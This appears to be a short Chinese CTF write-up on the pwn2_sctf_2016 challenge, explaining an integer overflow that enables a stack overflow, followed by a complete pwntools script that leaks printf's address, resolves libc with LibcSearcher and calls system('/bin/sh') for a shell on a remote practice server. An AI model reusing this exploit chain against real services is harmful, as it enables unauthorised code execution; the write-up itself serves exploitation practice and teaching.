这道鬼题不难却卡了我好久,再前几天很久没好好学习生疏许多
老规矩checksec
只有栈不可执行
反编译结果
get_n是自己创造的一个函数
这其实就是在nptr这个缓冲区上进行操作然后的话
get_n(&nptr, v2);
这三个地方一起造成了栈溢出
所以这是一道整数溢出并且泄露libc的一道题目,泄露的函数就用printf
from pwn import *
from LibcSearcher import*
context(log_level = 'debug')
#io = process("pwn2_sctf_2016")
io = remote("node4.buuoj.cn",27531)
#context.arch = "amd64"
elf = ELF('pwn2_sctf_2016')
offest = 0x2c
main_addr = elf.sym['main']
printf_plt =elf.plt['printf']
printf_got =elf.got['printf']
io.recvuntil('How many bytes do you want me to read? ')
io.sendline('-1')
io.recvuntil('\n')
payload = b'a'*(offest+4) +p32(printf_plt) + p32(main_addr) +p32(printf_got)
#printf_addr =0xf7e4c680
io.sendline(payload)
io.recvuntil('\n')
printf_addr = u32(io.recv(4))
log.success('printf==>'+hex(printf_addr))
libc=LibcSearcher('printf',printf_addr)
libc_base = printf_addr-libc.dump('printf')
system_addr = libc_base+libc.dump('system')
sh_addr = libc_base+libc.dump("str_bin_sh")
io.recvuntil('How many bytes do you want me to read? ')
io.sendline('-1')
io.recvuntil('\n')
payload1= b'a'*(offest+4)+p32(system_addr)+b'aaaa'+p32(sh_addr)
io.sendline(payload1)
io.interactive()
本地的libc我已经很久没打通了,我要想办法加加本地的libc库,毕竟打比赛直接打服务器还会扣分
以后学好了想把elf.plt elf.got gdb 中的got好好写写
这道题和前面的heap题卡了好久了,还是太菜